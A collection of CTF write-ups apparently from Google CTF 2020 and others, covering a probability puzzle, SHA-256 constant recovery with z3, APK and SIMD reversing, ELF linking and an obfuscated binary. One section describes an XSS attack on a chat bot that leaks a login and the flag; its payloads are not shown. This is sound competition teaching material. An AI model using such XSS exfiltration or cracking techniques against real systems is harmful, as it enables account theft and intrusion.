Given a random sequence, containing `p` 0s and `q` 1s, what is the probability that on each prexif of such sequence the number of 1s is strictly greater than the number of 0s. You may assume each sequence happens with equal probability.
The problem boils down to count the number of valid sequence and the total number of sequence, and find the ratio between such values. The total number of sequence is simply: [`choose(p + q, p)`](https://en.wikipedia.org/wiki/Combination).
The final answer would be:
`#valid_sequences / choose(p + q, p)`
### Counting valid sequences
The first element of a valid sequence must be a `1`. After we add the first element, we can "relax" our problem to be: How many sequences of `p` 0s and `q-1` 1s are there such that each prefix contains **at least as many 1s as 0s**.
Notice that if the number of 1s and 0s are the same in the subproblem, it is equivalent to calculate the number of balanced parenthesis strings with `2 * k` characters (say each `1` is an open parenthesis `(` and each `0` is a closing parentheis `)`). This is a "well known" combinatoric value: [Catalan number](https://en.wikipedia.org/wiki/Catalan_number) which can be also found in [OEIS](https://oeis.org/A000108).
We should compute a more generalized version of Catalan Numbers: The number of balanced parenthesis string (prefixes) that contains `q - 1` opening parentheis and `p` closing parenthesis.
The easy way to solve such problem is assume this values are famous enough to be in OEIS, so just brute force few small values, search for such sequence in OEIS and get a closed formulae.
```pythonfrom functools import lru_cache
@lru_cache(None)def brute_force(tot_1, tot_0, prefix_sum): if tot_1 == 0 and tot_0 == 0: return 1
res = 0
if tot_1 > 0: res += brute_force(tot_1 - 1, tot_0, prefix_sum + 1)
if tot_0 > 0 and prefix_sum > 1: res += brute_force(tot_1, tot_0 - 1, prefix_sum - 1)
return res
for tot_1 in range(10): print(tot_1, end=" : ") # The amount of 1s must be strictly greater # than the amount of 0s for tot_0 in range(tot_1): res = brute_force(tot_1, tot_0, 0) print(res, end=" ") print()```
The output of the previous code is:
```0 : 1 : 1 2 : 1 1 3 : 1 2 2 4 : 1 3 5 5 5 : 1 4 9 14 14 6 : 1 5 14 28 42 42 7 : 1 6 20 48 90 132 132 8 : 1 7 27 75 165 297 429 429 9 : 1 8 35 110 275 572 1001 1430 1430 ```
Just search for any significant row in OEIS: https://oeis.org/search?q=1+5+14+28+42+42And we get our desired answer: [Catalan's triangle T(n,k)](https://oeis.org/A009766)
It turns out there is a very simple formulae: `T(n, m) = choose(n + m, n) * (n - m + 1) / (n + 1)`. So we can print the previous table with the following code (notice there is an off-by-one-error in the arguments of the formula with respect to our formula):
```pythonfrom math import factorial
def choose(n, k): return factorial(n) // factorial(k) // factorial(n - k)
for tot_1 in range(10): print(tot_1, end=" : ") # The amount of 1s must be strictly greater # than the amount of 0s for tot_0 in range(tot_1): res = choose(tot_1 + tot_0 - 1, tot_1 - 1) * (tot_1 - tot_0) // (tot_1) print(res, end=" ") print()```
So the number of valid sequence is:
```n = 3141592653589793238p = 101124131231734
tot_1 = n - ptot_0 = p
#valid_sequences = choose(tot_1 + tot_0 - 1, tot_1 - 1) * (tot_1 - tot_0) / (tot_1) = choose(n - 1, n - p - 1) * (n - 2 * p) / (n - p) = choose(n - 1, p) * (n - 2 * p) / (n - p) ```
This is a humongous number which I recommned you don't try to compute locally. The good news is that we are asked to compute the ratio of two number in a simplified way:
```numerator = choose(n - 1, p) * (n - 2 * p) / (n - p) denominator = choose(n, p)```
We can simplify the combinatorial numbers by applying the following "trick": `choose(n - 1, p) = choose(n, p) * (n - p) / n`.Then the ratio is just:
```answer = (n - 2 * p) / n```
The only thing remaining is to actually compute the flag from this value:
```pythonimport hashlib
n = 3141592653589793238p = 101124131231734
def gcd(a, b): return a if b == 0 else gcd(b, a % b)
num = n - 2 * pden = n
g = gcd(num, den)
num //= gden //= g
encoded = str(num) + str(den)encoded = hex(int(encoded))flag = f"flag{{{encoded}}}"
print(flag)
assert hashlib.md5(flag.encode()).hexdigest() == '6046f30cf9e942ed47c88621a69ed0b2'```
We are given the md5 hash of the flag, so we can even check without submitting if we have the correct flag.
The output of the code above:
```flag{0xbd10c864dce5299aadd5b7aac2124eb}``` |
# Tech Support (Web)
## Introduction
This challenge comes with the following instructions:
> Try chatting with tech support about getting a flag.
> Note: We have received multiple reports of exploits not working remotely, but we triple checked and concluded that the bot is working properly.
> https://typeselfsub.web.ctfcompetition.com/
This URL leads to a website for "Company x":
We must regiter to continue:
After logging in, two new URLs are available in the main menu.https://typeselfsub.web.ctfcompetition.com/flag:
And https://typeselfsub.web.ctfcompetition.com/chat, where we can send chat messages.
The goal of this challenge is to perform an XSS attack on the chat user we are messaging in order to exfiltrate the flag.
## Observations
We will iniate the chat with this message and use [PTS](https://ptsv2.com/) to observe network requests.
```html```
Note that "+" has to be encoded as "%2b". We can see that the chat user is currently at `https://typeselfsub-support.web.ctfcompetition.com/static/chat.html`.
We observe that the following pages are located on different subdomains:
* https://typeselfsub.web.ctfcompetition.com/flag* https://typeselfsub-support.web.ctfcompetition.com/static/chat.html
Due to CORS restrictions, it is not possible to simply have the chat user fech the flag and to pass it to us.
## Exfiltration
Through trial and error, we find the solution in a different approach:
```html```
Note that the different parameters in the image are actually part of the [referrer](https://developer.mozilla.org/en-US/docs/Web/API/Document/referrer). Stitching it back together, we get this URL: https://typeselfsub.web.ctfcompetition.com/asofdiyboxzdfasdfyryryryccc?username=mike&password=j9as7ya7a3636ncvx&reason=
We are now logged in as Mike and can grab the flag:
Flag: `CTF{self-xss?-that-isn't-a-problem-right...}` |
look if my git server is not dead just go to the original, it's rendered better: <https://git.lain.faith/BLAHAJ/writeups/src/branch/writeups/2020/gctf/sharky#user-content-sharky>
also contains the full code and original challenge files
# sharky
writeup by [haskal](https://awoo.systems) for [BLÅHAJ](https://blahaj.awoo.systems)
**Crypto****231 points****39 solves**
>Can you find the round keys?
provided files: `challenge.py`, `sha256.py`
## tldr
for this i used [Z3](https://github.com/Z3Prover/z3) except with angr's[claripy](https://docs.angr.io/advanced-topics/claripy) frontend instead of the direct frontendbecause i've never used the direct frontend. using claripy/z3 we can construct a symbolic emulationof the provided sha256 algorithm with the unknowns being symbolic variables. by applying constraintsfor the hash output you can have z3 solve for the unknown hash constants
## writeup
initial analysis shows this is a modified sha256 algorithm with the first 8 round constants changedto random values. the objective is to figure out what these values are given a known hash of a knownplaintext. from `challenge.py`:
```pythonNUM_KEYS = 8MSG = b'Encoded with random keys'```
first, i checked to see if anything else was funky with the hand coded sha256 implementation byinitializing the "unknown" round constants to the standard constants and checking if the resultinghash matched the expected "standard" hash for this message. it does, so the only difference is thefirst 8 round constants
[sha256](https://en.wikipedia.org/wiki/SHA-2) (this links to wikipedia because i literally studiedsha256 from the wikipedia article during the CTF) starts by padding the message to a multiple of 512bits. then, for each chunk of 512 bits it expands the chunk to 2048 bits by bit rotations, xors, andarithmetic. the result is called `w`. `w` is compressed into a 256 bit state `h'` by taking theprevious state and doing 64 rounds of more bit rotations, bitwise ops, and arithmetic combining theprevious state with the nth word of `w` and the nth word of `k`, the sha256 constants table. `h`also starts with known constants. also sha256 basically operates on 32-bit words, always. so all thesymbolic variables should be 32-bit
in this case we see the message is short enough so there is only one 512-bit chunk of padded input.this makes things easier. i started by precomputing the `w` array for the known input, since thisdoesn't depend on any (modified) constants. then, i took the verbatim python implementation of thealgorithm and stripped out every component except the round function `compression_step` thatcombines `h'`, `w[i]` and `k[i]`. i applied some basic simplifications to optimize symbolicexecution such as replacing the manual bit rotate operation with the `claripy.RotateRight` builtinand removing the bitmasking done after addition, since claripy bit vectors can't change size.otherwise it's the original provided code, except now it's operating on symbolic variables insteadof actual numbers. it looks like this
```pythondef rotate_right(v, n): # w = (v >> n) | (v << (32 - n)) # return w & 0xffffffff return claripy.RotateRight(v, n)
def compression_step(state, k_i, w_i): a, b, c, d, e, f, g, h = state s1 = rotate_right(e, 6) ^ rotate_right(e, 11) ^ rotate_right(e, 25) ch = (e & f) ^ (~e & g) tmp1 = (h + s1 + ch + k_i + w_i) s0 = rotate_right(a, 2) ^ rotate_right(a, 13) ^ rotate_right(a, 22) maj = (a & b) ^ (a & c) ^ (b & c) tmp2 = (tmp1 + s0 + maj) tmp3 = (d + tmp1) return (tmp2, a, b, c, tmp3, e, f, g)```
i figured this was good enough for z3 to work with and just threw it in
```init_h = [ # standard constants 0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a, 0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19]init_h = [claripy.BVV(x, 32) for x in init_h]
secrets = [claripy.BVS(f"rc_{i}", 32) for i in range(8)]
init_k = secrets + [claripy.BVV(x, 32) for x in [ ... rest of the standard constants]]
def compression(state, w): round_keys = init_k for i in range(64): state = compression_step(state, round_keys[i], w[i]) return state
w = [...] # computed w
real_hash = sys.argv[1]real_hash = binascii.unhexlify(real_hash)real_hash = struct.unpack(">8L", real_hash)
solver = claripy.Solver()
state = init_h[:]out_state = compression(state, w)state = [x + y for x, y in zip(state, out_state)]
for i in range(8): solver.add(state[i] == real_hash[i])
for i in range(8): print(solver.eval(secrets[i], 1)[0])```
this did Not terminate at all. this is a side effect of me never knowing what i'm doing but ingeneral it seems that z3 does very poorly when you have few constraints that are each very large andcomplex. in fact these ones were so large you literally cannot print them to the console
so i opted to do some handholding. i noticed that since constants 8-63 are the standard ones, thestate from round 8 to the final hash is completely known, and we can backtrack from the final hashto the round 8 state by solving each round individually. here's the annotated code for this
```python# i set up round 63 with the final addition that occurs after all rounds are completesolver = claripy.Solver()state = [claripy.BVS(f"state_{i}", 32) for i in range(8)]out_state = compression_step(state, w[63], init_k[63])for i in range(8): solver.add(out_state[i] + init_h[i] == real_hash[i])
# this is a helper function that evaluates the input state of a round that produces a known output# state and reassigns a new wanted_state for thatdef get_wanted_state(): global solver global state wanted_state = [None]*8 for i in range(8): res = solver.eval(state[i], 10) if len(res) != 1: print("ERROR", i, res) raise SystemExit() res = res[0] wanted_state[i] = res return wanted_state
# calculate the input to round 63wanted_state = get_wanted_state()
# emulate 62 downto 8# each round, we create a symbolic state array for the input, add constraints for the previously# calculated output, and evaluatefor round in range(62, 8 - 1, -1): print("emulating round", round)
solver = claripy.Solver() state = [claripy.BVS(f"state_{round}_{i}", 32) for i in range(8)] out_state = compression_step(state, w[round], init_k[round]) for i in range(8): solver.add(out_state[i] == wanted_state[i])
wanted_state = get_wanted_state()
# now we have the exact state that round 8 started withprint("round 8 input state: ", [hex(x) for x in wanted_state])```
now there should be a lot less work for z3 to guess on, it only needs to work through rounds 0-7with the symbolic round constants
```pythonstate = init_h[:]out_state = compression_round_0_7(state, w)state = [x + y for x, y in zip(state, out_state)]
for i in range(8): solver.add(state[i] == wanted_state[i])
for i in range(8): print(solver.eval(secrets[i], 1)[0])```
this took absolutely ages to complete and when it did the result was `unsat`. yikes
i'm still not sure what exactly the issue was. it's likely i just made a typo somewhere and didn'tsee it. but i deleted this and replaced it with a new strategy, which is to continue going backwardsfrom round 7 to round 0 instead of going forwards from 0 to 7. what this does is creates a largernumber of constraints -- instead of a single set of 8 constraints on the output we have constraintsfor each intermediate state in between each round. but each constraint is individually less complex,which results in the solving going faster and actually working (!!)
```pythonsolver = claripy.Solver()
# go from round 7 down to 0for round in range(7, -1, -1): print("emulating weird round", round) # create symbolic variables for this intermediate state state = [claripy.BVS(f"test_r{round}_{i}", 32) for i in range(8)] out_state = compression_step(state, w[round], init_k[round]) for i in range(8): # constrain the output to the wanted input state for the next round solver.add(out_state[i] == wanted_state[i])
# transfer input state to next round's wanted state wanted_state = [None]*8 for i in range(8): wanted_state[i] = state[i]
# add the initial state constraintsfor i in range(8): solver.add(state[i] == init_h[i])
print("answers")for i in range(len(secrets)): res = solver.eval(secrets[i], 1) sys.stdout.write(hex(res[0])) if i < len(secrets) - 1: sys.stdout.write(",") sys.stdout.flush()
sys.stdout.write("\n")sys.stdout.flush()print("SHONKS")```
this works. for some inputs it takes a long time but most of the time it comes up with the answerquickly. i was too lazy for an automatic script so i simply pasted the answer into netcat
```$ python solve.py abdc6d366dd37bb452b56335cd8bfbc043e2284001891d358e04a9e76c3b2a49...answers0x9da77f78,0x24597709,0x4fbc375,0xaa5cd315,0xcd73dc57,0x12dafbf7,0x7e206bb4,0xb9097fbaSHONKS```
the lesson here is if you want z3 to terminate sometime this millenium it's better to provide alarger number of small constraints than a small number of Giant constraints even if they'resemantically equivalent. i would probably know this if i had ever been formally trained in symbolicexecution,
---
since my team is [BLÅHAJ](https://blahaj.awoo.systems) and this challenge is named `sharky` it wasmandatory to get this flag, so i'm happy i figured it out even though crypto isn't really my strongsuit (yet,) |
# Young BlazeYou are provided with a single file called Damn. You can run `file` command on it to figure out what it is.
```sh$ file DamnDamn: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), not stripped```
As you can see, this is not an executable file but a relocatable file. So, the source was compiled without linking and produced an object file.
In order to make it executable, you need to link it using some linker.
# Method #1Using `ld` (The GNU linker). Since this is a x32 object file you need to use 32-bit architecture while linking.
```$ ld -m elf_i386 -s -o out Damn$ cat outPoseidon{L1nK_tH4T_$h17_im_0u7}```
# Method #2Using `gcc` (The GNU C compiler). Since this is a x32 object file you need to use 32-bit architecture while linking. This object file already has essential startup functions defined so use `-nostartfiles` option. This method produces some linker warning but nonetheless produces the executable file.
```-nostartfiles
Do not use the standard system startup files when linking. The standard system libraries are used normally, unless -nostdlib or -nodefaultlibs is used. ```
```$ gcc -o out Damn -m32 -nostartfiles$ cat outPoseidon{L1nK_tH4T_$h17_im_0u7}```
# Yolo Method #3Running `strings` command on the file reveals interesting string at the beggining.```$ strings DamnEzfp|qz{nY${^Ja]!AJ1}$"J|xJ%`"h.text:.bss.data.shstrtab.symtab.strtab.rel.text:tiwini3ada!?_startmusic_exitresultsecretsecret_len```
Maybe it's the flag :)It's worth the shot to paste it in Magic decoder at [CyberChef](http://icyberchef.com/#recipe=Magic(3,true,false,''))
Analysis revealed that the falg is XOR encrypted with **HEX** key of value **15**
# Flag**Poseidon{L1nK_tH4T_$h17_im_0u7}**
Easy challenge but you can learn about different ELF formats and about different stages of compilation :) |
# Google CTF 2020 - Android
> Reversing>> Can you find the correct key to unlock this app?
## Solution
As the tittle of the challenge says it looks like we are presented with an APK so we will unpack the file with `apktool`.
```consoleapktool d reverse.apk```
If we take a look at the project structure and files, It looks like it's a simple APK, no native library, no third party frameworks like Flutter or Xamarin...
```consolerwxrwxrwx 1 root root 4 KiB Mon Aug 24 20:40:13 2020 ./rwxrwxrwx 1 root root 4 KiB Mon Aug 24 20:40:09 2020 ../rwxrwxrwx 1 root root 712 B Mon Aug 24 20:40:12 2020 AndroidManifest.xmlrwxrwxrwx 1 root root 420 B Mon Aug 24 20:40:13 2020 apktool.ymlrwxrwxrwx 1 root root 4 KiB Mon Aug 24 20:40:13 2020 original/rwxrwxrwx 1 root root 4 KiB Mon Aug 24 20:40:12 2020 res/rwxrwxrwx 1 root root 4 KiB Mon Aug 24 20:40:13 2020 smali/```
Next, if we try to use JADX in order to reverse engineer de JAVA code we can see below that it fails to decompile some methods and won't be possible.
```javapublic void onClick(android.view.View r1) {/*// Can't load method instructions: Load method exception: Not class type: long in method: com.google.ctf.sandbox.ő.1.onClick(android.view.View):void, dex: classes.dex */ throw new UnsupportedOperationException("Method not decompiled: com.google.ctf.sandbox.C0009.C00101.onClick(android.view.View):void");}```
As JADX failed, we will have to work with the Smali code. If we open the APK in Android Studio we can see that the main class `ő.smali` has three fields.
```# instance fields.field class:[J
.field ő:I
.field ő:[J```
The field `class` is an array and is initialized in the constructor with the following content:
```0x271986b0xa64239c9L0x271ded4b0x11861430xc0fa229fL0x690e10bf0x28dca2570x16c699d10x55a56ffd0x7eb870a10xc5c9799fL0x2f838e65```
Those are the twelve hashes that the application will check against the flag.
Next, if we analyze the `onClick`function in the `ő$1.smali`file, first we can see a large string with the content `Apparently this is not the flag. What's going on?` created byte by byte which is a false flag.
```new-array v2, v2, [Ljava/lang/Object;
const/16 v8, 0x41 ---> 'A'
.line 45invoke-static {v8}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v8
aput-object v8, v2, v3
const/16 v8, 0x70 ---> 'p'
invoke-static {v8}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v9
aput-object v9, v2, v6
invoke-static {v8}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v8
aput-object v8, v2, v5
const/16 v8, 0x61 ---> 'a'
invoke-static {v8}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v9
aput-object v9, v2, v4
const/16 v9, 0x72 ---> 'r'```
Next, we can see that the routine checks the length of the input text. If the length is not 48 it prints the bad boy message.
```.local v3, "flagString":Ljava/lang/String;invoke-virtual {v3}, Ljava/lang/String;->length()I
move-result v5
const/16 v6, 0x30
if-eq v5, v6, :cond_21f
.line 62iget-object v4, v1, Lcom/google/ctf/sandbox/ő$1;->val$textView:Landroid/widget/TextView;
const-string v5, "\u274c" ---> Bad boy ❌
invoke-virtual {v4, v5}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V```
If we continue analyzing the function, we can see how it iterates the user input by four chars and calls the function `ő(JJ)`.
```invoke-static {v8, v9, v4, v5}, Lcom/google/ctf/sandbox/R;->ő(JJ)[J```
Analyzing the function `ő(JJ)` we see that this function is decompilable and it's the [Extended Euclidean Algorithm](https://www.geeksforgeeks.org/euclidean-algorithms-basic-and-extended/) [1].
```javapublic static long[] m0(long a, long b) { if (a == 0) { return new long[]{0, 1}; } long[] r = m0(b % a, a); return new long[]{r[1] - ((b / a) * r[0]), r[0]}; }```
Then it compares the hash calculated in the above function with the values hardcoded in the array. If they are not equal it prints the bad boy message.
```.local v7, "inv":Jiget-object v9, v1, Lcom/google/ctf/sandbox/ő$1;->this$0:Lcom/google/ctf/sandbox/ő;
iget-object v9, v9, Lcom/google/ctf/sandbox/ő;->class:[J
iget-object v10, v1, Lcom/google/ctf/sandbox/ő$1;->this$0:Lcom/google/ctf/sandbox/ő;
iget v10, v10, Lcom/google/ctf/sandbox/ő;->ő:I
aget-wide v10, v9, v10
cmp-long v9, v7, v10
if-eqz v9, :cond_2a3
.line 76iget-object v9, v1, Lcom/google/ctf/sandbox/ő$1;->val$textView:Landroid/widget/TextView;
const-string v10, "\u274c" ---> Bad boy ❌
invoke-virtual {v9, v10}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V```
Lastly, it checks that the variable `ő:I` has the same value than the length of the hashes array, which means that all the hashes are correct, and prints the good boy message.
```iget-object v9, v1, Lcom/google/ctf/sandbox/ő$1;->this$0:Lcom/google/ctf/sandbox/ő;
iget v9, v9, Lcom/google/ctf/sandbox/ő;->ő:I
iget-object v10, v1, Lcom/google/ctf/sandbox/ő$1;->this$0:Lcom/google/ctf/sandbox/ő;
iget-object v10, v10, Lcom/google/ctf/sandbox/ő;->ő:[J
array-length v10, v10
if-lt v9, v10, :cond_2be
.line 82iget-object v9, v1, Lcom/google/ctf/sandbox/ő$1;->val$textView:Landroid/widget/TextView;
const-string v10, "\ud83d\udea9" ---> Good boy ?
invoke-virtual {v9, v10}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V```
Also, in order to better understand the Smali code we debugged the APK with Android Studio and the Smalidea plugin using the steps of the following [post](https://medium.com/@ghxst.dev/static-analysis-and-debugging-on-android-using-smalidea-jdwp-and-adb-b073e6b9ae48) as a guide.
To solve the hashes we created the following script in Python that bruteforces all the hashes with a specified charset:
```pythonimport structimport stringimport itertools
'''Charsetsstring.ascii_letters + '_!?{}' + string.digitsstring.ascii_letters + '_''''
def pw_guess(charset): charset = string.ascii_letters + '_!?{}' + string.digits res = itertools.product(charset, repeat = 4) for guess in res: yield ''.join(guess)
def fibo_hash(a, b): if a == 0: result = [0] * 2 result[0] = 0 result[1] = 1 return result else: temp = fibo_hash(b % a, a) final_result = [0] * 2 v3 = temp[1] v5 = b // a v8 = temp[0] v5 = v5 * v8 v3 = v3 - v5 final_result[0] = v3 & 0xFFFFFFFF final_result[1] = temp[0] & 0xFFFFFFFF return final_result
flag_hash = [ 0x271986b, # We know it's 'CTF{' 0xa64239c9, 0x271ded4b, 0x1186143, 0xc0fa229f, 0x690e10bf, 0x28dca257, 0x16c699d1, 0x55a56ffd, 0x7eb870a1, 0xc5c9799f, 0x2f838e65 ]
default_charset = string.ascii_letters + '_!?{}' + string.digits flag = ''for hash_to_crack in flag_hash: print('[+] Trying to crack 0x{:02x}'.format(hash_to_crack)) if hash_to_crack == 0x55a56ffd: guess_generator = pw_guess(string.ascii_letters + '_') else: guess_generator = pw_guess(default_charset) for guess in guess_generator: if hash_to_crack == 0x271986b: guess = 'CTF{' char_value = struct.unpack("<I", guess.encode('utf-8'))[0] hash_result = fibo_hash(char_value, 0x100000000) result_set = frozenset(hash_result) if hash_to_crack in result_set: print('Hash 0x{:02x} cracked to: {}'.format(hash_to_crack, guess)) flag += guess break
print('[+] Flag is: ', flag)```
Python is very slow but if you run it with pypy3 and you set it to the maximal priority it doesn't take too long. Here we can see the output of the script.
```consolepypy3 solver.py[+] Trying to crack 0x271986bHash 0x271986b cracked to: CTF{[+] Trying to crack 0xa64239c9Hash 0xa64239c9 cracked to: y0u_[+] Trying to crack 0x271ded4bHash 0x271ded4b cracked to: c4n_[+] Trying to crack 0x1186143Hash 0x1186143 cracked to: k3ep[+] Trying to crack 0xc0fa229fHash 0xc0fa229f cracked to: _y0u[+] Trying to crack 0x690e10bfHash 0x690e10bf cracked to: ?_m4[+] Trying to crack 0x28dca257Hash 0x28dca257 cracked to: gic_[+] Trying to crack 0x16c699d1Hash 0x16c699d1 cracked to: 1_h4[+] Trying to crack 0x55a56ffdHash 0x55a56ffd cracked to: Ue_l[+] Trying to crack 0x7eb870a1Hash 0x7eb870a1 cracked to: aser[+] Trying to crack 0xc5c9799fHash 0xc5c9799f cracked to: _b3a[+] Trying to crack 0x2f838e65Hash 0x2f838e65 cracked to: ms!}[+] Flag is: CTF{y0u_c4n_k3ep_y0u?_m4gic_1_h4Ue_laser_b3ams!}```
I also tried to use Z3 to solve the hashes but it crashed due to the recursion of the `fibo_hash` function.
```consolepython3 z3_solver.pyTraceback (most recent call last): File "z3_solver_v2.py", line 12, in fibo_hash temp = fibo_hash(b % a, a) File "z3_solver_v2.py", line 12, in fibo_hash temp = fibo_hash(b % a, a) File "z3_solver_v2.py", line 12, in fibo_hash temp = fibo_hash(b % a, a) [Previous line repeated 987 more times] File "z3_solver_v2.py", line 5, in fibo_hash if a == 0:ctypes.ArgumentError: argument 1: <class 'RecursionError'>: maximum recursion depth exceeded```
So finally the flag is `CTF{y0u_c4n_k3ep_y0u?_m4gic_1_h4Ue_laser_b3ams!}`.
[1] Thanks to **@KaoRz** for pointing out that it’s the Extended Euclidean Algorithm. |
# BEGINNER> easy
> Dust off the cobwebs, let's reverse!
Files provided:* a.out: ELF64 file
In this program we have to enter the correct flag:
```sh$ ./a.outFlag: AAAAAAAAAAAFAILURE```
Let's analyze `a.out` with `radare2`:
Now, try to understand what does `main` do.
The flag is stored in a string of 16 chars (15+NULL terminator char): ```sh0x000010a2 488d3d620f00. lea rdi, str.15s ; 0x200b ; "%15s" ; const char *formate8b2ffffff call sym.imp.__isoc99_scanf ; int scanf(const char *format)```
...but the most important instructions are these:```sh0x000010be 660f380005a9. pshufb xmm0, xmmword [obj.SHUFFLE]0x000010c7 660ffe05912f. paddd xmm0, xmmword [obj.ADD32] ; arg70x000010cf 660fef05792f. pxor xmm0, xmmword [obj.XOR] ; arg70x000010d7 0f29442410 movaps xmmword [var_28h], xmm0 ; arg7```These are `SIMD` instructions (in this case, in `xmm0` is stored the flag entered by user).
1. `pshufb` performs a shuffle of all 16 bytes (`xmm0` is a 128-bit long register), using the second operand as a mask. 2. `paddd` adds the second operand to the first (destination), 32 bit at a time. 3. `pxor` performs a bitwise xor of both operands and store the result to the first operand. 4. `movaps`store the content of an `xmm` register to memory.
So, the flag entered by user, is firstly shuffled using `SHUFFLE` as mask.
Content of `SHUFFLE````sh02 06 07 01 05 0b 09 0e 03 0f 04 08 0a 0c 0d 00```It means that the element 0 is replaced with the one in position 2, etc...
Then, the shuffled text is used in `paddd` operation, so it is added to the content of `ADD32`.
Content of `ADD32`:```shef be ad de ad de e1 fe 37 13 37 13 66 74 63 67```
and then the result is XORed with `XOR`:
Content of `XOR`:```sh76 58 b4 49 8d 1a 5f 38 d4 23 f8 34 eb 86 f9 aa```The result of `pxor` is compared with the original flag entered by user. If they are equal, it means that the flag is correct.There is also another comparison: the first 4 chars of flag must be `"CTF{"`, So, we know the flag format.
to reproduce all execution flow, i wrote some lines in python:```pythondef shuffle( in_str ): new_pos = [ 0x2, 0x6, 0x7, 0x1, 0x5, 0xB, 0x9, 0xE, 0x3, 0xF, 0x4, 0x8, 0xA, 0xC, 0xD, 0x0 ] out_str = [] for x in range( 16 ): out_str.append(ord(in_str[new_pos[x]])) return out_str
def toInt32( num_array ): num = 0 num += num_array[3] * 0x1000000 num += num_array[2] * 0x10000 num += num_array[1] * 0x100 num += num_array[0] return num & 0xffffffff
def fromInt32( num ): num = num & 0xffffffff num_array = [] num_array.append(num%0x100) num_array.append((num%0x10000)//0x100) num_array.append((num//0x10000)%0x100) num_array.append(num//0x1000000) return num_array
def add( in_str ): values = [ 0xEF, 0xBE, 0xAD, 0xDE, 0xAD, 0xDE, 0xE1, 0xFE, 0x37, 0x13, 0x37, 0x13, 0x66, 0x74, 0x63, 0x67 ] out_str = [] for x in range( 0, 16, 4 ): out_str.extend(fromInt32(toInt32(values[x:x+4])+toInt32(in_str[x:x+4])))
return out_str
def xor( in_str ): values= [ 0x76, 0x58, 0xb4, 0x49, 0x8d, 0x1A, 0x5F, 0x38, 0xD4, 0x23, 0xF8, 0x34, 0xEB, 0x86, 0xF9, 0xAA ] out_str = [] for x in range( 16): out_str.append(in_str[x]^values[x]) return out_str result = xor(add(shuffle("CTF{AAAAAAAAAA}\x00"))) print("Result of shuffle, add, and xor:")for x in result: print( hex(x) )```
Now it's time to focus on how to solve this challenge.We know just a small part of the flag (`"CTF{"`), but because of shuffled bytes, every output char is evaluated by starting from another char pointed by its corresponding `SHUFFLE` value.
For example:```We know that:input_string[3] -> 7B the char at pos 3 is 7BSHUFFLE[8] -> 3 the char at pos 8 is exchanged with the char at pos 3
So let's calculate output_string[8]:( 7B + ADD32[8] ) ^ XOR[8] =( 7B + 37 ) ^ D4 = 66 ('f')in facts, the char at pos 8, inside the correct flag, is 'f'.```I wrote a python function to do it for all chars:```pythondef getFlag(): pos_changed = [ 0x2, 0x6, 0x7, 0x1, 0x5, 0xB, 0x9, 0xE, 0x3, 0xF, 0x4, 0x8, 0xA, 0xC, 0xD, 0x0 ] add_val = [ 0xEF, 0xBE, 0xAD, 0xDE, 0xAD, 0xDE, 0xE1, 0xFE, 0x37, 0x13, 0x37, 0x13, 0x66, 0x74, 0x63, 0x67 ] xor_val= [ 0x76, 0x58, 0xb4, 0x49, 0x8d, 0x1A, 0x5F, 0x38, 0xD4, 0x23, 0xF8, 0x34, 0xEB, 0x86, 0xF9, 0xAA ]
flag = [] for x in range(16): flag.append(-1)
flag[0] = ord('C') flag[1] = ord('T') flag[2] = ord('F') flag[3] = ord('{')
current_32bit = 0
for cycle in range(16): for pos in range(16): if pos % 4 == 0: current_32bit = pos if flag[pos] == -1 and flag[pos_changed[pos]] != -1: flag[pos] = (((flag[pos_changed[pos]] + add_val[pos])%0x100)^xor_val[pos]) if (flag[pos_changed[pos]] + add_val[pos]) > 0x100 and pos+1 < current_32bit+4 : add_val[pos+1] += 1
return ''.join(chr(c) for c in flag)```The string returned by `getFlag()` is `CTF{S1MDf0rM3!}`
So, the correct flag is `CTF{S1MDf0rM3!}`. The whole procedure is resumed in [exploit.py](exploit.py). |
# Mixer
> Can you reverse this obfuscated boi ?
Files provided:* mixer: ELF64 file
In this program we have to enter the correct password.
Let's analyze `mixer` with `r2`.The only function is `entry0`:
 There aren't other functions...there is just other machine code next to `entry0` but it isn't so important, it's just I/O.
With so few instructions where is the trick? It is in the beginning of `entry0`:```sh│ 0x00401000 b80a000000 mov eax, 0xa│ 0x00401005 48bf00006000. movabs rdi, segment.LOAD1 ; 0x600000│ 0x0040100f be00001000 mov esi, 0x100000│ 0x00401014 ba07000000 mov edx, 7│ 0x00401019 0f05 syscall```The `syscall` number is `10`, so it is `mprotect`. Take a look at the `man`:``` #include <sys/mman.h> int mprotect(void *addr, size_t len, int prot);
mprotect() changes the access protections for the calling process's memory pages containing any part of the address range in the interval [addr, addr+len-1]. addr must be aligned to a page boundary.
prot is a combination of the following access flags: PROT_NONE or a bitwise-or of the other values in the following list:
PROT_NONE The memory cannot be accessed at all.
PROT_READ The memory can be read.
PROT_WRITE The memory can be modified.
PROT_EXEC The memory can be executed.```
Interesting, in this case `mprotect` is used to allow READ, WRITE, and EXECUTION in the block of memory from `0x600000` to `0x6fffff`. So, the real program is hidden into this portion of memory located in `.stack` segment.
